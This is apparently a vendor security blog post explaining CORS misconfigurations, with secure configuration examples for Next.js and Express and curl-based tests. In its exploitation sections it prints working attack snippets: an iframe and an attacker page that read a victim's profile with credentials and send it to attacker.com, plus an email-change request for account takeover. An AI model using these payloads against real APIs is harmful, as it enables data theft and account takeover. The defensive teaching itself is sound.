Blog
corssecurityvulnerabilitiesheaders

CORS Misconfiguration: How Attackers Exploit It and How to Fix It

CheckVibe Team
12 min read

Cross-Origin Resource Sharing (CORS) controls which domains can make requests to your API. A misconfigured CORS policy can expose your users' data to attackers. Despite being one of the most commonly tested security mechanisms, CORS misconfigurations remain in the OWASP Top 10 and appear in nearly every web application security audit. This guide covers exactly how CORS works, how attackers exploit it, and how to configure it correctly across different frameworks.

What Is CORS?

Browsers enforce the Same-Origin Policy — by default, JavaScript on example.com cannot make requests to api.yourdomain.com. CORS headers tell the browser which cross-origin requests to allow.

The Same-Origin Policy has been a cornerstone of browser security since the late 1990s. Two URLs share the same origin only when they match on all three components: protocol (https), host (api.yourdomain.com), and port (443). If any of those differ, the browser considers it a cross-origin request and blocks JavaScript from reading the response — unless the server explicitly opts in via CORS headers.

The key headers:

  • Access-Control-Allow-Origin — Which origins can access your resources
  • Access-Control-Allow-Credentials — Whether cookies/auth headers are sent
  • Access-Control-Allow-Methods — Which HTTP methods are permitted
  • Access-Control-Allow-Headers — Which request headers are permitted
  • Access-Control-Expose-Headers — Which response headers JavaScript can read
  • Access-Control-Max-Age — How long the browser caches preflight results

It is important to understand that CORS is not a security feature that protects your server. Your server processes every request regardless of origin. CORS is a browser-enforced mechanism that controls whether JavaScript on a web page can read the response. This distinction matters: a misconfigured CORS policy does not make your server vulnerable to direct attacks — it makes your users vulnerable to attacks originating from malicious websites.

How Preflight Requests Work

Not every cross-origin request triggers a preflight. The browser categorizes requests as "simple" or "preflighted."

A simple request uses only GET, HEAD, or POST with standard content types (text/plain, application/x-www-form-urlencoded, multipart/form-data) and no custom headers. The browser sends the request directly and checks the CORS headers on the response.

A preflighted request happens when JavaScript uses PUT, DELETE, PATCH, or sends custom headers like Authorization or Content-Type: application/json. The browser first sends an OPTIONS request to ask the server what is allowed:

OPTIONS /api/users HTTP/1.1
Host: api.yourdomain.com
Origin: https://app.yourdomain.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type

The server responds with what it permits:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.yourdomain.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

If the preflight response allows the actual request, the browser proceeds. If not, the browser blocks it without ever sending the real request.

A common mistake is not handling OPTIONS requests in your API routes, which causes preflight failures and confusing CORS errors in the browser console — even though your Access-Control-Allow-Origin header is set correctly on other methods.

Dangerous CORS Configurations

1. Wildcard with Credentials

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This combination is actually blocked by browsers, but many developers try it and then "fix" it by reflecting the Origin header — which is even worse.

The browser spec explicitly forbids this combination because it would mean "any website can make authenticated requests and read the response." When developers encounter the resulting error, they often Google the fix and land on Stack Overflow answers suggesting origin reflection — trading one vulnerability for another.

2. Reflecting the Origin Header

// DANGEROUS - reflects any origin
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');

This means any website can make authenticated requests to your API. An attacker's page at evil.com can read your users' data.

This is the single most common CORS misconfiguration. It effectively disables the Same-Origin Policy entirely. Every origin that sends a request gets permission to read the response, including origins controlled by attackers.

3. Null Origin Allowed

Access-Control-Allow-Origin: null

The null origin can be triggered from sandboxed iframes, redirects, and local files — making it exploitable.

An attacker can trigger a null origin with a sandboxed iframe:

<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.yourdomain.com/user/profile', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Exfiltrate to attacker server
      fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
    });
  </script>
"></iframe>

The sandbox attribute without allow-same-origin causes the iframe to use a null origin. If your API allows null, this request succeeds.

4. Regex Bypass

// Intended to allow *.yourdomain.com
if (origin.endsWith('.yourdomain.com')) {
  // An attacker registers evil-yourdomain.com
}

Substring matching on domains is almost always bypassable.

Here are more regex patterns that attackers routinely bypass:

// VULNERABLE: startsWith check
if (origin.startsWith('https://yourdomain.com')) {
  // Bypassed by: https://yourdomain.com.attacker.com
}

// VULNERABLE: includes check
if (origin.includes('yourdomain.com')) {
  // Bypassed by: https://yourdomain.com.attacker.com
  // Also: https://notyourdomain.com
}

// VULNERABLE: loose regex
if (/yourdomain\.com/.test(origin)) {
  // Bypassed by: https://yourdomain.com.attacker.com
  // Also: https://evilyourdomain.com
}

The safe approach is always exact string matching against a hardcoded allowlist.

How Attackers Exploit CORS — Step by Step

  1. Attacker creates a malicious page at attacker.com
  2. Victim visits attacker.com while logged into your app
  3. Attacker's JavaScript makes a request to your API
  4. If CORS allows it, the response (containing user data) is readable by the attacker
  5. Attacker exfiltrates the data to their server

Here is the full attack code an attacker would host on their site:

<!-- attacker.com/steal.html -->
<html>
<body>
<h1>Check out this cool article!</h1>
<script>
// Step 1: Make authenticated request to vulnerable API
fetch('https://api.vulnerable-app.com/api/user/profile', {
  method: 'GET',
  credentials: 'include'  // Sends victim's session cookies
})
.then(response => response.json())
.then(data => {
  // Step 2: data contains victim's name, email, payment info, etc.
  console.log('Stolen data:', data);

  // Step 3: Exfiltrate to attacker's server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      victim_data: data,
      timestamp: new Date().toISOString()
    })
  });
})
.catch(err => console.log('CORS blocked us:', err));
</script>
</body>
</html>

If api.vulnerable-app.com reflects the origin header and allows credentials, the attacker gets the full API response — user profiles, account details, billing information, whatever that endpoint returns.

The attacker can also modify data, not just read it:

// Change the victim's email address (account takeover)
fetch('https://api.vulnerable-app.com/api/user/settings', {
  method: 'PUT',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' })
});

// Trigger a password reset to the new email — full account takeover

This is why CORS misconfigurations are rated as high severity. They enable full read/write access to any API endpoint the victim is authenticated for.

How to Configure CORS Correctly

Use an Explicit Allowlist

const ALLOWED_ORIGINS = [
  'https://yourdomain.com',
  'https://www.yourdomain.com',
  'https://app.yourdomain.com',
];

if (ALLOWED_ORIGINS.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}

In Next.js

// next.config.ts
async headers() {
  return [{
    source: '/api/:path*',
    headers: [
      { key: 'Access-Control-Allow-Origin', value: 'https://yourdomain.com' },
      { key: 'Access-Control-Allow-Methods', value: 'GET, POST, OPTIONS' },
      { key: 'Access-Control-Allow-Headers', value: 'Content-Type, Authorization' },
    ],
  }];
}

For Next.js API routes that need to support multiple origins dynamically:

// app/api/data/route.ts
const ALLOWED_ORIGINS = new Set([
  'https://yourdomain.com',
  'https://app.yourdomain.com',
]);

export async function GET(request: Request) {
  const origin = request.headers.get('origin') ?? '';
  const headers = new Headers();

  if (ALLOWED_ORIGINS.has(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Credentials', 'true');
    headers.set('Vary', 'Origin');
  }

  const data = { message: 'Hello' };
  return Response.json(data, { headers });
}

export async function OPTIONS(request: Request) {
  const origin = request.headers.get('origin') ?? '';
  const headers = new Headers();

  if (ALLOWED_ORIGINS.has(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    headers.set('Access-Control-Allow-Credentials', 'true');
    headers.set('Access-Control-Max-Age', '86400');
  }

  return new Response(null, { status: 204, headers });
}

Notice the Vary: Origin header. This is critical when your Access-Control-Allow-Origin value changes based on the request. Without it, CDNs and browser caches may serve a response with the wrong origin header, causing intermittent CORS failures.

In Express.js

const cors = require('cors');

// Option 1: Simple allowlist
const allowedOrigins = [
  'https://yourdomain.com',
  'https://app.yourdomain.com',
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, etc.)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, origin);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 86400, // Cache preflight for 24 hours
}));

A common mistake with the cors npm package is passing origin: true, which reflects any origin — identical to the manual reflection vulnerability. Always use a function or an explicit array.

// DANGEROUS — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// SAFE — explicit allowlist
app.use(cors({ origin: ['https://yourdomain.com'], credentials: true }));

Common Mistakes When Using CORS Libraries

  1. Setting origin: true in the cors npm package. This reflects the request origin, allowing any domain.
  2. Forgetting the OPTIONS handler. Some frameworks do not automatically respond to preflight requests. If OPTIONS returns a 404, browsers block the actual request.
  3. Allowing http://localhost in production. Developers add localhost during development and forget to remove it. Attackers can exploit this by tricking victims into visiting a page served from their local machine.
  4. Not setting Vary: Origin. When the Access-Control-Allow-Origin value changes per request, CDNs cache the first response and serve it to everyone, causing intermittent CORS failures or security bypasses.
  5. Applying CORS middleware after route handlers. In Express, middleware order matters. If your route responds before the CORS middleware runs, no CORS headers are set.

Rules of Thumb

  1. Never use * for APIs that handle authenticated requests
  2. Never reflect the Origin header without an allowlist check
  3. Don't allow the null origin
  4. Use exact string matching for origins, not regex or substring
  5. Only allow the HTTP methods your API actually uses
  6. Always handle OPTIONS preflight requests explicitly
  7. Set Vary: Origin when the allowed origin changes per request
  8. Set Access-Control-Max-Age to reduce preflight overhead

Testing Your CORS Configuration

You can test CORS behavior directly from the command line using curl. This is faster and more reliable than testing in the browser, where cached preflight results and extensions can interfere.

Test basic CORS response:

curl -s -D - -o /dev/null \
  -H "Origin: https://attacker.com" \
  https://api.yourdomain.com/api/data

Look at the response headers. If you see Access-Control-Allow-Origin: https://attacker.com, your API is reflecting the origin — it is vulnerable.

Test with null origin:

curl -s -D - -o /dev/null \
  -H "Origin: null" \
  https://api.yourdomain.com/api/data

If the response includes Access-Control-Allow-Origin: null, you are vulnerable to sandboxed iframe attacks.

Test preflight (OPTIONS) request:

curl -s -D - -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: DELETE" \
  -H "Access-Control-Request-Headers: Authorization" \
  https://api.yourdomain.com/api/data

A secure response either returns no Access-Control-Allow-Origin header or only returns it for your known origins.

Test with your legitimate origin (should succeed):

curl -s -D - -o /dev/null \
  -H "Origin: https://yourdomain.com" \
  https://api.yourdomain.com/api/data

This should return Access-Control-Allow-Origin: https://yourdomain.com.

Automated check script:

#!/bin/bash
TARGET="https://api.yourdomain.com/api/data"
ORIGINS=("https://attacker.com" "null" "https://evil-yourdomain.com" "http://yourdomain.com")

for origin in "${ORIGINS[@]}"; do
  echo "Testing origin: $origin"
  header=$(curl -s -D - -o /dev/null -H "Origin: $origin" "$TARGET" | grep -i "access-control-allow-origin")
  if [ -n "$header" ]; then
    echo "  VULNERABLE: $header"
  else
    echo "  SAFE: No CORS header returned"
  fi
  echo ""
done

Detecting CORS Issues Automatically

CheckVibe's CORS scanner tests your endpoints for:

  • Wildcard Access-Control-Allow-Origin with credentials
  • Origin reflection without allowlist
  • Null origin acceptance
  • Overly permissive method allowlists
  • Missing preflight handling

It tests each discovered endpoint individually (via site crawling) so even misconfigured sub-routes are caught. This matters because many applications set CORS correctly on the main API but miss internal endpoints, admin routes, or microservice APIs.

You should also combine CORS testing with a broader security review. Misconfigured CORS often accompanies other issues like missing CSRF protection, weak security headers, or exposed API endpoints. A comprehensive API security checklist should include CORS validation as a standard step.

Scan your site for CORS issues — free, 60 seconds, no configuration needed.

FAQ

Is CORS a security feature or a browser restriction?

CORS is a browser-enforced mechanism, not a server-side security feature. Your server processes every request regardless of origin — CORS only controls whether the browser allows JavaScript to read the response. This means CORS does not protect your API from direct attacks using tools like curl or Postman. It specifically prevents malicious websites from using a victim's browser (and their cookies/session) to read API responses. Think of it as protecting your users, not your server.

Should I use Access-Control-Allow-Origin: * for public APIs?

It depends. If your API is truly public — no authentication, no cookies, no user-specific data — then Access-Control-Allow-Origin: * is acceptable and even recommended. Public APIs like weather data or exchange rates can safely use the wildcard. However, if your API uses any form of authentication (cookies, Bearer tokens, API keys), never use *. The wildcard combined with Access-Control-Allow-Credentials: true is blocked by browsers, and working around it by reflecting the origin introduces a serious vulnerability.

How do I debug CORS errors?

Start with the browser DevTools Network tab. Click the failed request and check the response headers. Common issues: (1) No Access-Control-Allow-Origin header at all — your server is not setting CORS headers for that route. (2) The header exists but does not match the requesting origin — check your allowlist. (3) Preflight (OPTIONS) returns 404 or 405 — your server is not handling OPTIONS requests. (4) The header is correct but the browser still blocks it — check for Access-Control-Allow-Headers and Access-Control-Allow-Methods mismatches. Use the curl commands in the "Testing Your CORS" section above to isolate whether the issue is server-side or browser-side.

Does CORS protect against CSRF?

No. CORS and CSRF protection solve different problems. CORS prevents a malicious site from reading your API response. CSRF protection prevents a malicious site from triggering state-changing actions (like transferring money or changing a password). A browser will still send the request — including cookies — for simple requests (GET, POST with form content types). CORS only blocks JavaScript from reading the response. To protect against CSRF, you need dedicated defenses: anti-CSRF tokens, SameSite cookies, or origin validation on state-changing endpoints. Both CORS and CSRF protection should be part of your security headers configuration.

Is your app vulnerable?

Paste your URL and get a security report in 30 seconds. 100+ automated checks, AI-powered fix prompts for Cursor & Copilot.

Scan Your App Free